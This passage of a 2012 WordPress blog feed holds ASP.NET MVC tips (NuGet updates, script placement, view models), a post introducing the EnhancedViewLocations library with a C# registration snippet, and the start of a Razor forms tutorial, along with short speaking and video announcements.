<p><strong>2.</strong> Many of the dependencies of your MVC project are out-of-date as soon as you create your project. You have an old version of jQuery, Entity Framework, etc. Luckily <a href="http://haacked.com/" target="_blank">Phil Haack</a> and <a href="http://weblogs.asp.net/scottgu/" target="_blank">crew </a>had the brilliant insight to link these to NuGet. So the next thing you do is just run NuGet and choose the Updates tab.</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/03/start_nuget_sm_2.png"><span id="more-329"></span><img class="aligncenter size-full wp-image-367" title="start_nuget_sm_2" src="http://michaelckennedy.files.wordpress.com/2012/03/start_nuget_sm_2.png?w=584" alt=""   /></a></p>
<p>What&#8217;s that, you don&#8217;t have NuGet? Oh, you need to <a href="http://nuget.org/" target="_blank">fix that right now</a>!</p>
<p>Here&#8217;s what you can expect under the NuGet updates page:</p>
<p><a title="Click for full image" href="http://michaelckennedy.files.wordpress.com/2012/03/nuget_update_annotated_full.png" target="_blank"><img class="aligncenter size-full wp-image-368" title="nuget_update_annotated_small" src="http://michaelckennedy.files.wordpress.com/2012/03/nuget_update_annotated_small.png?w=584&#038;h=396" alt="" width="584" height="396" /></a></p>
<p><strong>3. </strong>Speaking of NuGet, by default all the external, NuGet-based JavaScript files get mixed in with your few JS files you always need to go back to for editing. So this is what you do:</p>
<p style="padding-left:30px;">Create a separate folder called <strong>js</strong> and put your JavaScript files in there.</p>
<p>Don&#8217;t forget to import site.js into your _Layout.cshtml file.</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/03/sol_with_sitejs.png"><img class="aligncenter size-full wp-image-372" title="sol_with_sitejs" src="http://michaelckennedy.files.wordpress.com/2012/03/sol_with_sitejs.png?w=584" alt=""   /></a></p>
<p><strong>4.</strong> You like intellisense, yes? You also like fast-loading pages yes? So on one hand, you want to use <strong>jquery-1.7.1-vsdoc.js</strong> for intellisense, but you want <strong>jquery-1.7.1.min.js</strong> for performance. Here&#8217;s what you do. Import the minified version into your layout page (see later in the article) but add a &#8220;reference&#8221; to the vsdoc version in your site.js file. See the /// &lt;reference&gt; at the top? See intellisense? Good!</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/03/site_js_ref.png"><img class="aligncenter size-full wp-image-374" title="Site.js" src="http://michaelckennedy.files.wordpress.com/2012/03/site_js_ref.png?w=584&#038;h=590" alt="" width="584" height="590" /></a></p>
<p>BTW, you are using namespaces or the prototype pattern or something besides just importing junk into the global namespace aren&#8217;t you? I thought so.</p>
<p><strong>5.</strong> Next, unless you are planning on using jQueryUI you should remove it via NuGet. It has so many files under the content folder that unless you plan on using it. They are just mental weight. Everything in your project should earn its keep. You can always add jQuery UI back via NuGet if you want it.</p>
<p><strong>6.</strong> Web programming is <em>awesome</em>, except when it&#8217;s not. That usual happens when you find your page looks different in IE vs Chrome vs Safari. You can <a href="http://sixrevisions.com/css/css-tips/css-tip-1-resetting-your-styles-with-css-reset/" target="_blank">avoid some of these issues</a> just by referencing <a href="http://meyerweb.com/eric/tools/css/reset/" target="_blank">Eric Meyer&#8217;s reset.css</a>. Be sure to put reset.css as the <strong>*very*</strong> first CSS file.</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/03/reset_css_added_very_first_annotated.png"><img class="aligncenter size-full wp-image-375" title="Using reset.css" src="http://michaelckennedy.files.wordpress.com/2012/03/reset_css_added_very_first_annotated.png?w=584&#038;h=166" alt="" width="584" height="166" /></a></p>
<p><strong>7.</strong> In ASP.NET MVC, there are models, then there are m<em><strong>odels</strong></em>. In MVC, there are domain models that are usually UI independent. Then there are models specifically meant to be tied to views. These view-oriented models are called View Models. I recommend you put view models in their own folder to make this dead-obvious.</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/03/sol_with_viewmodels.png"><img class="aligncenter size-full wp-image-376" title="sol_with_viewmodels" src="http://michaelckennedy.files.wordpress.com/2012/03/sol_with_viewmodels.png?w=584" alt=""   /></a></p>
<p>Stephen Walther has<a href="http://stephenwalther.com/blog/archive/2009/04/13/asp-net-mvc-tip-50-ndash-create-view-models.aspx" target="_blank"> more on View Models</a> if this is the first you&#8217;re hearing of them.</p>
<p><strong>8.</strong> You said you like fast pages before right? Well MVC is <em>&#8220;doing it wrong&#8221;</em> in order to allow you to inline JS which you should not do. Put the <a title="High Performance Web Sites: Rule 6 – Move Scripts to the Bottom" href="http://developer.yahoo.com/blogs/ydn/posts/2007/07/high_performanc_5/" target="_blank">JS imports at the bottom of the page</a>.</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/03/js_at_bottom_of_page_with_imports_doing_it_right_annotated.png"><img class="aligncenter size-full wp-image-377" title="js_at_bottom_of_page_with_imports_doing_it_right_annotated" src="http://michaelckennedy.files.wordpress.com/2012/03/js_at_bottom_of_page_with_imports_doing_it_right_annotated.png?w=584&#038;h=116" alt="" width="584" height="116" /></a></p>
<p>Be careful though, modernizr.js needs to stay at the top to work.</p>
<p><strong> 9.</strong> There are times you need to conditionally import JavaScript files from pages. The technique above in #8 makes this adhoc importing difficult. We can easily fix this by adding a <em>layout section</em> called <strong>AdditionalJsImports</strong> and make it optional (see above). This lets pages add more JS *after* jQuery.js and site.js.</p>
<p><strong>Conclusion</strong></p>
<p>If you do these 9 things at the start of your project, you&#8217;ll be on a good path to a well-architected system with some key advantages: It doesn&#8217;t have files in the wrong places, it doesn&#8217;t have unused or outdated files, and it is built for performance.</p>
<p>Hope you find these tips useful! If you have your own, please add them to the comments below.</p>
<p>Cheers!<br />
<a href="https://twitter.com/#!/mkennedy" target="_blank">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/articles/'>Articles</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/articles/'>Articles</a>, <a href='http://blog.michaelckennedy.net/tag/asp-net/'>ASP.NET</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/tips/'>tips</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/329/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/329/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=329&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/03/07/9-ways-your-brand-new-mvc-project-can-be-better/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/03/msmvcjs_annotated.png" medium="image">
			<media:title type="html">Unused MicrosoftMVC*.js files</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/03/start_nuget_sm_2.png" medium="image">
			<media:title type="html">start_nuget_sm_2</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/03/nuget_update_annotated_small.png" medium="image">
			<media:title type="html">nuget_update_annotated_small</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/03/sol_with_sitejs.png" medium="image">
			<media:title type="html">sol_with_sitejs</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/03/site_js_ref.png" medium="image">
			<media:title type="html">Site.js</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/03/reset_css_added_very_first_annotated.png" medium="image">
			<media:title type="html">Using reset.css</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/03/sol_with_viewmodels.png" medium="image">
			<media:title type="html">sol_with_viewmodels</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/03/js_at_bottom_of_page_with_imports_doing_it_right_annotated.png" medium="image">
			<media:title type="html">js_at_bottom_of_page_with_imports_doing_it_right_annotated</media:title>
		</media:content>
	</item>
		<item>
		<title>Managing Cumbersome Shared Views Folder for Large Projects in MVC</title>
		<link>http://blog.michaelckennedy.net/2012/03/06/managing-shared-views-folder-for-large-mvc-projects/</link>
		<comments>http://blog.michaelckennedy.net/2012/03/06/managing-shared-views-folder-for-large-mvc-projects/#comments</comments>
		<pubDate>Tue, 06 Mar 2012 12:55:33 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[MVC]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=333</guid>
		<description><![CDATA[While ASP.NET MVC promotes clean separation-of-concerns for your web applications, there are some short comings. A problem you&#8217;ll run into on large ASP.NET MVC projects is the Views section of your web application becomes completely crowded with hundreds or thousands of &#8230; <a href="http://blog.michaelckennedy.net/2012/03/06/managing-shared-views-folder-for-large-mvc-projects/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=333&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>While ASP.NET MVC promotes clean separation-of-concerns for your web applications, there are some short comings. A problem you&#8217;ll run into on <strong>large</strong> ASP.NET MVC projects is the Views section of your web application becomes completely crowded with hundreds or thousands of files.</p>
<p>Usually, these view files are organized into sections by controller which keeps this manageable. For example, your solution might look like:<br />
<span id="more-333"></span></p>
<ul>
<li>Controllers</li>
<li>Models</li>
<li><strong>Views</strong>
<ul>
<li>Home
<ul>
<li>Index.cshtml</li>
<li>About.cshtml</li>
</ul>
</li>
<li>Products
<ul>
<li>All.cshtml</li>
<li>Show.cshtml</li>
<li>New.cshtml</li>
</ul>
</li>
<li><span style="text-decoration:underline;"><strong>Shared</strong></span>
<ul>
<li><strong>&#8230;</strong></li>
</ul>
</li>
<li>etc&#8230;</li>
</ul>
</li>
</ul>
<p>So that any one folder might only have 10 cshtml files. But there is one folder that is disproportionately crowed, that <strong>Shared</strong> folder where all the common partial views and layouts are kept. A quick look at one of my recent MVC projects shows <strong>113 files</strong> in that shared folder!</p>
<p>A 113 files tossed into a single folder is painful to manage and difficult to find what you&#8217;re looking for at a glance. If they could be categorized into subfolders, say things like Shared/Navigation, Shared/Accounts, Shared/Users, things would be good again.</p>
<p>Presently MVC doesn&#8217;t look into subfolders of the shared views folder. But with a little open-source library I wrote and a few clicks on NuGet, it will!</p>
<h2>Introducing Enhanced View Locations for MVC</h2>
<p>To address this issue, I&#8217;ve created a project over at CodePlex:</p>
<p style="padding-left:30px;"><strong>Enhanced View Locations for MVC</strong><a href="http://mvcviews.codeplex.com/"></p>
<p>http://mvcviews.codeplex.com/</a></p>
<p>With this library added to your project<span style="color:#333333;font-size:16px;font-style:normal;line-height:20px;"> </span><span style="color:#333333;font-size:16px;font-style:normal;line-height:20px;">(via NuGet),</span> your massive Shared folder can look like this:</p>
<p><img class="alignnone" src="http://www.codeplex.com/Download?ProjectName=mvcviews&amp;DownloadId=279125" alt="" width="272" height="308" /></p>
<p>Here&#8217;s how you use it (from the codeplex project documentation):</p>
<p><em>Enhanced View Locations for MVC</em> allows you to further organize your ASP.NET MVC views without your action methods or Html.RenderPartial / Html.RenderAction elements knowing or caring about how they are organized or re-organized.</p>
<p>1. Begin by adding a reference to <strong>EnhancedViewLocations.dll</strong> to your ASP.NET MVC project via NuGet (<a href="http://nuget.org/List/Packages/EnhancedViewLocations" target="_blank">http://nuget.org/List/Packages/EnhancedViewLocations</a>) or by directly downloading and referencing it.</p>
<p>2. Next, define and register custom view locations in the form partial Uri&#8217;s from within the Global.asax file:</p>
<pre>protected void Application_Start()
{
    AreaRegistration.RegisterAllAreas();
    RegisterGlobalFilters( GlobalFilters.Filters );
    RegisterRoutes( RouteTable.Routes );

    // Register the extra locations for views.
    RegisterCustomViewLocations();
}

private static void RegisterCustomViewLocations()
{
   // We can optionally enable the standard Razor view CS
   // (or VB) locations so we don't always search our
   // extra / custom areas first when searching for a view.
   // EnhancedViewLocator.EnableStandardRazorCSLocations();

   // Next, add two extra locations to store / arrange our views.

   // 1. in the templates folder under the standard shared view
   // folder.
   EnhancedViewLocator.AddFolder( <span style="text-decoration:underline;">"views/shared/templates"</span> );

   // 2. in the navigation folder under the standard
   // shared view folder.
   EnhancedViewLocator.AddFolder( <span style="text-decoration:underline;">"views/shared/navigation"</span> );

   // Finally, have the locator install a custom view
   // engine to manage the lookups.
   EnhancedViewLocator.Install( ControllerBuilder.Current );
}</pre>
<div>Now you can create the to subfolders templates and navigation in the shared views (it can actually be any folder on your site provided you register it but I recommend keeping inside the views folder).</div>
<div></div>
<div>Hope you find it useful!</div>
<div></div>
<div>Cheers,</div>
<div><a href="https://twitter.com/#!/mkennedy" target="_blank">@mkennedy</a></div>
<div></div>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/articles/'>Articles</a>, <a href='http://blog.michaelckennedy.net/category/open-source/'>Open Source</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/articles/'>Articles</a>, <a href='http://blog.michaelckennedy.net/tag/asp-net/'>ASP.NET</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/333/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/333/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=333&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/03/06/managing-shared-views-folder-for-large-mvc-projects/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://www.codeplex.com/Download?ProjectName=mvcviews&#38;DownloadId=279125" medium="image" />
	</item>
		<item>
		<title>Now I&#8217;m an INETA Speaker!</title>
		<link>http://blog.michaelckennedy.net/2012/03/05/now-im-an-ineta-speaker/</link>
		<comments>http://blog.michaelckennedy.net/2012/03/05/now-im-an-ineta-speaker/#comments</comments>
		<pubDate>Mon, 05 Mar 2012 15:46:09 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Speaking]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[NoSQL]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=316</guid>
		<description><![CDATA[I&#8217;ve recently signed up as an INETA speaker. If you would like me to speak at your user group or event, check out my INETA Speaker Profile or simply contact me directly. I typically speak on NoSQL, MongoDB, ASP.NET MVC, Modern Web Applications &#8230; <a href="http://blog.michaelckennedy.net/2012/03/05/now-im-an-ineta-speaker/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=316&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p><a href="http://ineta.org/Speakers/SearchCommunitySpeakers.aspx?SpeakerId=b721db70-810c-48c4-aa8a-7b71de90b161" target="_blank"><img class="alignright" title="INETA Speaker" src="http://ineta.org/images/OfficialLogos/InetaCommunitySpeakersRequestMe.png" alt="" width="132" height="132" /></a></p>
<p>I&#8217;ve recently signed up as an INETA speaker. If you would like me to speak at your user group or event, check out my <a href="http://ineta.org/Speakers/SearchCommunitySpeakers.aspx?SpeakerId=b721db70-810c-48c4-aa8a-7b71de90b161" target="_blank">INETA Speaker Profile</a> or simply <a href="http://blog.michaelckennedy.net/contact/">contact me</a> directly.</p>
<p>I typically speak on NoSQL, MongoDB, ASP.NET MVC, Modern Web Applications (whatever that means!) and design patterns but I&#8217;m also open for other requests.</p>
<p>Cheers!<br />
<a href="https://twitter.com/#!/mkennedy" target="_blank">@mkennedy </a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/speaking/'>Speaking</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/nosql/'>NoSQL</a>, <a href='http://blog.michaelckennedy.net/tag/speaking/'>Speaking</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/316/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/316/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=316&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/03/05/now-im-an-ineta-speaker/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://ineta.org/images/OfficialLogos/InetaCommunitySpeakersRequestMe.png" medium="image">
			<media:title type="html">INETA Speaker</media:title>
		</media:content>
	</item>
		<item>
		<title>Introducing MongoDB and LINQ at Mongo Seattle 2011</title>
		<link>http://blog.michaelckennedy.net/2012/03/01/introducing-mongodb-and-linq-at-mongo-seattle-2011/</link>
		<comments>http://blog.michaelckennedy.net/2012/03/01/introducing-mongodb-and-linq-at-mongo-seattle-2011/#comments</comments>
		<pubDate>Thu, 01 Mar 2012 20:16:17 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[NoSQL]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[Conferences]]></category>
		<category><![CDATA[LINQ]]></category>
		<category><![CDATA[Speaking]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=243</guid>
		<description><![CDATA[Here&#8217;s a video of a short talk I gave at Mongo Seattle 2011 which is a quick getting started with .NET &#38; MongoDB session. Enjoy! @mkennedy PS &#8211; Yeah, it&#8217;s from last year. I forgot to publish it on my &#8230; <a href="http://blog.michaelckennedy.net/2012/03/01/introducing-mongodb-and-linq-at-mongo-seattle-2011/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=243&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Here&#8217;s a video of a short talk I gave at Mongo Seattle 2011 which is a quick getting started with .NET &amp; MongoDB session.</p>
<p><a href="http://blip.tv/mongodb/mongodb-_net-and-linq-4021754" target="_blank"><img class="aligncenter size-full wp-image-252" title="Mongo Seattle - Kennedy" src="http://michaelckennedy.files.wordpress.com/2012/03/mongoseattlekennedy.png?w=584&#038;h=389" alt="" width="584" height="389" /></a></p>
<p>Enjoy!<br />
<a href="https://twitter.com/#!/mkennedy" target="_blank">@mkennedy</a></p>
<p>PS &#8211; Yeah, it&#8217;s from last year. I forgot to publish it on my blog so here it is&#8230;</p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/nosql/'>NoSQL</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/conferences/'>Conferences</a>, <a href='http://blog.michaelckennedy.net/tag/linq/'>LINQ</a>, <a href='http://blog.michaelckennedy.net/tag/nosql/'>NoSQL</a>, <a href='http://blog.michaelckennedy.net/tag/speaking/'>Speaking</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/243/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=243&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/03/01/introducing-mongodb-and-linq-at-mongo-seattle-2011/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/03/mongoseattlekennedy.png" medium="image">
			<media:title type="html">Mongo Seattle - Kennedy</media:title>
		</media:content>
	</item>
		<item>
		<title>Screencast: Building ASP.NET MVC Forms with Razor</title>
		<link>http://blog.michaelckennedy.net/2012/01/23/screencast-building-asp-net-mvc-forms-with-razor/</link>
		<comments>http://blog.michaelckennedy.net/2012/01/23/screencast-building-asp-net-mvc-forms-with-razor/#comments</comments>
		<pubDate>Mon, 23 Jan 2012 18:31:57 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Video]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[Foundations]]></category>
		<category><![CDATA[LearningLine]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[Screencasts]]></category>
		<category><![CDATA[Visual Studio]]></category>

		<guid isPermaLink="false">http://michaelckennedy.wordpress.com/?p=16</guid>
		<description><![CDATA[[note: This screencast has been adapted from my earlier blog post.] In this ASP.NET MVC Foundations screencast, we’re going to look at building an ASP.NET MVC page which allows users to create and edit objects in our domain. We’ll cover &#8230; <a href="http://blog.michaelckennedy.net/2012/01/23/screencast-building-asp-net-mvc-forms-with-razor/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=16&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<div style="width:100%;text-align:center;margin-bottom:25px;background-color:black;padding-top:2px;border:2px solid gray;"><a title="Join the instructor-supported online learning revolution." href="https://learninglineapp.com/tasks/140/create-views-in-mvc-razor-and-csharp" target="_blank"><img alt="" height="75" src="http://s3.amazonaws.com/michael-kennedy/blog/images/LearningLine-featured-content.png" border="0" /></a></div>
<div>
<p>[<strong>note</strong>: This screencast has been adapted from my <a href="http://blog.michaelckennedy.net/2012/01/20/building-asp-net-mvc-forms-with-razor/">earlier blog post</a>.]</p>
<div>In this ASP.NET MVC Foundations screencast, we’re going to look at building an ASP.NET MVC page which allows users to create and edit objects in our domain. We’ll cover just the basics of using HTML helpers to map model properties to our HTML form and Model Binding to convert our HTML form back into our rich domain object.We’ll start with a very basic store website which has read-only data and we&#8217;ll add the ability to create and edit products in our store. Be sure to watch in HD mode for a crisp screen.</div>
<span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='584' height='359' src='http://www.youtube.com/embed/2AWVs7SzOXM?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0'></iframe></span></div>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/video/'>Video</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/asp-net/'>ASP.NET</a>, <a href='http://blog.michaelckennedy.net/tag/foundations/'>Foundations</a>, <a href='http://blog.michaelckennedy.net/tag/learningline/'>LearningLine</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/screencasts/'>Screencasts</a>, <a href='http://blog.michaelckennedy.net/tag/visual-studio/'>Visual Studio</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/16/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=16&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/01/23/screencast-building-asp-net-mvc-forms-with-razor/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://s3.amazonaws.com/michael-kennedy/blog/images/LearningLine-featured-content.png" medium="image" />
	</item>
		<item>
		<title>Building ASP.NET MVC Forms with Razor (ASP.NET MVC Foundations Series)</title>
		<link>http://blog.michaelckennedy.net/2012/01/20/building-asp-net-mvc-forms-with-razor/</link>
		<comments>http://blog.michaelckennedy.net/2012/01/20/building-asp-net-mvc-forms-with-razor/#comments</comments>
		<pubDate>Fri, 20 Jan 2012 12:00:11 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[LearningLine]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://michaelckennedy.wordpress.com/?p=23</guid>
		<description><![CDATA[In this ASP.NET MVC Foundations article, we’re going to look at building an ASP.NET MVC page which allows users to create and edit objects in our domain. We’ll cover just the basics of using HTML helpers to map model properties to our HTML form and Model Binding to convert our HTML form back into our rich domain object.

We’ll start with a very basic store website (downloads here: BasicMvcForms_starter.zip and BasicMvcForms_final.zip)which has a database and some basic products already listed...
 <a href="http://blog.michaelckennedy.net/2012/01/20/building-asp-net-mvc-forms-with-razor/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=23&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<div style="width:100%;text-align:center;margin-bottom:25px;background-color:black;padding-top:2px;border:2px solid gray;"><a title="Join the instructor-supported online learning revolution." href="https://learninglineapp.com/tasks/140/create-views-in-mvc-razor-and-csharp" target="_blank"><img alt="" height="75" src="http://s3.amazonaws.com/michael-kennedy/blog/images/LearningLine-featured-content.png" border="0" /></a></div>
<div>
<p>[<strong>Update</strong>: Want to <a href="http://www.michaelckennedy.net/blog/2012/01/23/ScreencastBuildingASPNETMVCFormsWithRazorASPNETMVCFoundationsSeries.aspx">watch this as a <strong>screencast </strong></a>rather than article?]</p>
<p>In this ASP.NET MVC Foundations article, we’re going to look at building an ASP.NET MVC page which allows users to create and edit objects in our domain. We’ll cover just the basics of using <a href="http://msdn.microsoft.com/en-us/library/system.web.mvc.htmlhelper.aspx">HTML helpers </a>to map model properties to our HTML form and <a href="http://msdn.microsoft.com/en-us/library/dd410405.aspx">Model Binding</a> to convert our HTML form back into our rich domain object.</p>
<p>We’ll start with a very basic store website (downloads here: <a href="http://www.michaelckennedy.net/downloads/samples/BasicMvcForms_starter.zip">BasicMvcForms_starter.zip</a> and <a href="http://www.michaelckennedy.net/downloads/samples/BasicMvcForms_final.zip">BasicMvcForms_final.zip</a>)which has a database and some basic products already listed:</p>
<p style="font-size:1.25em;line-height:1.5em;"><img alt="" src="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product1.png" /></p>
<p><span id="more-23"></span>Notice that we have five products. There links to edit and create products. Currently, they don’t do much:</p>
<p style="font-size:1.25em;line-height:1.5em;"><img alt="" src="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product2.png" /></p>
<p><strong><span style="font-size:15px;font-family:Arial;color:#000000;background-color:transparent;font-weight:normal;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre-wrap;">First we’ll need to add action methods. That’s easy enough. Here’s the create code:<br />
</span></strong><br />
<img alt="" src="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product4.png" /></p>
<p>And similarly, the edit code:</p>
<p><img alt="" src="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product5.png" /></p>
<p>Now that we have action methods for edit and create, we’ll need the corresponding views. Use the Visual Studio tooling to create two empty views as follows:</p>
<p><img alt="" src="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product2.5.png" /></p>
<p>In the resulting dialog, choose strongly-typed with Product and an empty view without referencing the scripts (we do this globally already). In practice, you might choose “edit” and “create” to help jump-start the Razor code. In this example, we’ll do that from scratch so empty is what we want.</p>
<p><img alt="" src="http://www.michaelckennedy.net/Images/BlogPosts/razor-forms/product3.png" /></p>
<p>Now our links to edit and create products work. However they don’t have any content in their views. We’ll use the <strong>HTML Helper </strong>methods to convert our product into forms ready for the editing.</p>
